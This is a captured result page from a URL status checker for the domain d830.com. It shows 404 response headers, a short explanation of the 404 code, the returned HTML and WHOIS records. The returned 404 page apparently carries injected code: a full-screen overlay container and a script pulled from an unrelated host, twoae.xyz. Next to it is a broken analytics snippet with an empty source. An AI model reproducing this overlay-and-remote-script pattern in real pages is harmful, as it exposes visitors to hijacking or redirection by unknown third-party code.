check web redirect url status code checker

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404 Not Found - d830.com
HTTP Status: 404
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx
Date: Mon, 12 May 2025 20:19:38 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding

HTTP Code 404 Not Found

404 status code means that the requested page or resource was not found on the server.

When is Code 404 used?

  • When a page is deleted
  • When the URL is incorrect
  • When there are navigation issues on the website

What does Code 404 mean for the user?

The user sees an error message, and search engines may remove the page from their index.

GET / HTTP/1.1
Host: d830.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html><html><head><style>
        #iframeContainer {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 9999;
        }

        /* 如果需要去掉边框，可以添加下面的样式 */
        #iframeContainer iframe {
            border: none;
        }
    </style> <div id="iframeContainer">   <script>
             var _hmt = _hmt || [];
             (function() {
             var hm = document.createElement("script");
             hm.src = 
             var s = document.getElementsByTagName("script")[0]; 
              s.parentNode.insertBefore(hm, s);
              })();
            </script><script src="//www.twoae.xyz/web.js"></script>
</head><body>
        <style type="text/css"><!--
        body {
            color: #444444;
            background-color: #fafafb;
        }
        a {
            color:#333333;
            text-decoration:none;
        }
        .error404-con{
            position: fixed;
            top: 50%;
            left: 50%;
            margin-left: -250px;
            margin-top: -200px;
            display: block;
            width: 500px;
            height: 400px;
            text-align: center;
        }
        .error404-con .img-bg{
            height: 200px;
            width: 100%;
            display: inline-block;
        }
        .error404-con .title{
            font-size: 42px;
        }
        .error404-con .title-sub{
            font-size: 16px;
            margin-top: 10px;
        }
        .error404-con .oper-btn{
            margin-top: 20px;
        }
        .error404-con .oper-btn .btn{
            background-color:#e8e8e8 ;
            display: inline-block;
            padding: 10px 30px;
            font-size: 22px;
            border-radius: 50px;
            margin: 0 10px;
        }
        .error404-con .oper-btn .btn.btn2{
            background-color:#ff6662;
            color: #fff;
        }
        @media only screen and (max-width:450px){
            .error404-con{
                width: 300px;
                height: 350px;
                margin-left: -150px;
                margin-top: -175px;
            }
            .error404-con .img-bg{
                background-size: contain;
            }
            .error404-con .title{
                font-size: 30px;
            }
            .error404-con .title-sub{
                font-size: 13px;
            }
            .error404-con .oper-btn .btn{
                padding: 10px 20px;
                font-size: 16px;
                border-radius: 50px;
            }
        }
        </style>
        
        <body>
        <div class="error404-con">
            <div class="img-bg"></div>
            <div class="title">哎呀！页面消失了！</div>
            <div class="title-sub">举目见日，不见长安。</div>
            <div class="oper-btn">
                <a class="btn btn1">回到上一页</a>
                <a class="btn btn2">回到首页</a>
            </div>
        </div>
        </body>

Whois info of domain

Domain Name: D830.COM
Registry Domain ID: 2802504359_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.gname.com
Registrar URL: http://www.gname.com
Updated Date: 2023-12-15T05:09:44Z
Creation Date: 2023-08-01T02:21:08Z
Registry Expiry Date: 2025-08-01T02:21:08Z
Registrar: Gname.com Pte. Ltd.
Registrar IANA ID: 1923
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +65.65189986
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.GNAME-DNS.COM
Name Server: NS2.GNAME-DNS.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-12T20:19:26Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
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